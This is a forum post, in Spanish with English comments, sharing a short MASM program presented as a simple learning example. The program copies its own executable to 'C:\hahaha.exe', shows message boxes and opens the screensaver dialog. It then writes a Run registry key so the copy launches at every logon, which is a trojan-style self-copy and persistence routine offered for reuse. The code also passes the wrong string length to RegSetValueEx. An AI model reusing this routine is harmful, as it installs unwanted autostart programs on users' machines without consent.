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Locked Ejemplo basico/Basic example(MASM)


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Bueno pues hace poco llevo con esto del asm y vi un codigo por internet que aunque es casi todo apis es bastante simple e intutitivo,lo modifique para que compile sin problemas y comente los procedimientos,espero que a alguien le resulte util,el ejecutable solo pesa 2kb!!!

Saludos.

 

[LENGUAJE=ASM].386

.model flat,stdcall

option casemap:none

 

;Declaramos las librerias/Declare librarires

include \masm32\include\windows.inc

include \masm32\include\kernel32.inc

includelib \masm32\lib\kernel32.lib

include \masm32\include\user32.inc

includelib \masm32\lib\user32.lib

includelib \masm32\lib\advapi32.lib

include \masm32\include\advapi32.inc

includelib \masm32\lib\shell32.lib

include \masm32\include\shell32.inc

 

;Declaramos los datos/Declare Data

.data

torun db 100 dup(0)

dest db "C:\hahaha.exe",0

open db "open",0

rundll32 db "rundll32.exe",0

InstallSS db "desk.cpl,InstallScreenSaver ",0

szREGSZ db 'REG_SZ',0

szTestKey db 'Software\Microsoft\Windows\CurrentVersion\Run',0

key db "Hello",0

szmine db "Let's go shopping!!!",0

szmyname db "ScreenFileName",0

 

hkey dd ?

dayt dd ?

lpdwDisp dd ?

;Empieza el programa/start program

.code

start:

;ruta actual del ejecutable/current exe path

invoke GetModuleFileName,0,offset torun,256

;se copia a si mismo a "C:\hahaha.exe"/copy itself to "C:\hahaha.exe"

invoke CopyFile,addr torun,addr dest,FALSE

;mensaje con mensaje "Hello" y titulo "Let's go shopping!!!"/msgbox with messaje "Hello" and title "Let's go shopping!!!"

invoke MessageBox,0,addr key,addr szmine,MB_OK

;mensaje con mensaje ruta actual del ejecutable y titulo "C:\hahaha.exe"/msgbox with messaje current exe path and title "C:\hahaha.exe"

invoke MessageBox,0,addr torun,addr dest,MB_OK

;ejecuta configuracion del protector de pantalla/execute screensaver settings

invoke ShellExecuteA,0,offset open,offset rundll32,offset InstallSS,0,1

;crea registro en Software\Microsoft\Windows\CurrentVersion\Run/create registry in Software\Microsoft\Windows\CurrentVersion\Run

invoke RegCreateKeyEx,HKEY_CURRENT_USER,addr szTestKey,0,addr szREGSZ,0,KEY_WRITE,0,addr hkey,addr lpdwDisp

INVOKE lstrlen, addr szmine

mov dayt, eax

;crea la entrada o clave en el registro con nombre "ScreenFileName" y valor "C:\hahaha.exe"/create the entry or key in the registry with the name "ScreenFileName" with the value "C:\hahaha.exe"

INVOKE RegSetValueEx, hkey, addr szmyname, 0, REG_SZ, addr dest, dayt

INVOKE RegCloseKey, hkey

 

invoke ExitProcess,0 ;sale del proceso/exit process

end start[/LENGUAJE]

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